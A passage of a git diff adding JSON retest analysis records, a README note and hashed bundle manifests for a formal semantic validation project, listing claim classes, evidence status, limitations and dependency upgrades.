claim to this retained corpus.", + "Issue #971 model construction is verified by its own tests; this retained corpus establishes no participant-crossing equivalence or runtime-realization claim." + ], + "plain_language_outcome": "The retained cases replay after upgrading the locked PyJWT dependency to 2.14.0; outcomes and bounded claim limits are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v65.json b/docs/research/formal-semantic-validation/analysis-v65.json new file mode 100644 index 000000000..f3adb7fc7 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v65.json @@ -0,0 +1,157 @@ +{ + "analysis_id": "issue-1359-analysis-v65", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v65.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1359-execution-v65", + "generated_at": "2026-09-30T05:02:01.302376+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "Issue #971 model construction is verified by its own tests; this retained corpus establishes no participant-crossing equivalence or runtime-realization claim.", + "Issue #1359 control-plane route authority, participant-view scoping, and no-store HTTP boundary are verified by their dedicated HTTP-boundary suite and add no new formal-semantic claim to this retained corpus." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes against source that enforces the administrative-only runtime control-plane boundary. The bounded claims and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v66.json b/docs/research/formal-semantic-validation/analysis-v66.json new file mode 100644 index 000000000..525d17125 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v66.json @@ -0,0 +1,157 @@ +{ + "analysis_id": "supply-chain-analysis-v66", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v66.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "supply-chain-execution-v66", + "generated_at": "2026-09-30T21:48:40.529064+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "Issue #971 model construction is verified by its own tests; this retained corpus establishes no participant-crossing equivalence or runtime-realization claim.", + "Issue #1359 control-plane route authority, participant-view scoping, and no-store HTTP boundary are verified by their dedicated HTTP-boundary suite and add no new formal-semantic claim to this retained corpus." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes after upgrading the locked PyJWT dependency to 2.15.1 and urllib3 to 2.8.0; outcomes and bounded claim limits are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v67.json b/docs/research/formal-semantic-validation/analysis-v67.json new file mode 100644 index 000000000..6d930e623 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v67.json @@ -0,0 +1,158 @@ +{ + "analysis_id": "issue-1401-analysis-v67", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v67.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1401-execution-v67", + "generated_at": "2026-09-30T22:41:24.312224+00:00", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "Issue #971 model construction is verified by its own tests; this retained corpus establishes no participant-crossing equivalence or runtime-realization claim.", + "Issue #1359 control-plane route authority, participant-view scoping, and no-store HTTP boundary are verified by their dedicated HTTP-boundary suite and add no new formal-semantic claim to this retained corpus.", + "Issue #1401 required-evidence media-type coherence is verified by its dedicated suite and adds no new formal-semantic claim to this retained corpus." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes against source that rejects required evidence whose declared media type the output registry cannot prove; outcomes and bounded claim limits are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/archive-contracts/README.md b/docs/research/formal-semantic-validation/archive-contracts/README.md index c904ba703..e3aa0b05d 100644 --- a/docs/research/formal-semantic-validation/archive-contracts/README.md +++ b/docs/research/formal-semantic-validation/archive-contracts/README.md @@ -29,3 +29,11 @@ It uses an empty external-reference registry and never invokes current artifact models, analyzers, solvers, or CLI replay for historical evidence. Shape admission and recorded digest agreement do not constitute semantic execution or establish compatibility. Current release evidence still uses current models and replay. + +The original `manifest-v1.json` and its narrower pre-cutover shapes remain +independently pinned. `manifest-v2.json` supplies frozen shapes for retained +progressive evidence records that became historical with the materialization +capture. The gate accepts a retained record through either frozen shape +version, then checks the complete record's immutable identity and joins. +Current release 21.0.0 uses production APIs and CLI replay; archival admission +never substitutes for that current-code check. diff --git a/docs/research/formal-semantic-validation/bundles/retest-v17.json b/docs/research/formal-semantic-validation/bundles/retest-v17.json new file mode 100644 index 000000000..500172258 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v17.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v17.json", + "analysis_sha256": "98dfd3f34eec6dc07d865d1cd7fb00bf2d282ac44cbe74e2b767003582132627", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "18.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v17.json", + "snapshot_sha256": "8744de45a53a7ce1db19fb77c51bbf2b16cddcddefac270a2d25a8e594937534" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v18.json b/docs/research/formal-semantic-validation/bundles/retest-v18.json new file mode 100644 index 000000000..e42a43934 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v18.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v18.json", + "analysis_sha256": "1125d9f7e46ba2c9a24460e05d5fd99b910e8851447f1ece2868ebf3b63e56c9", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": 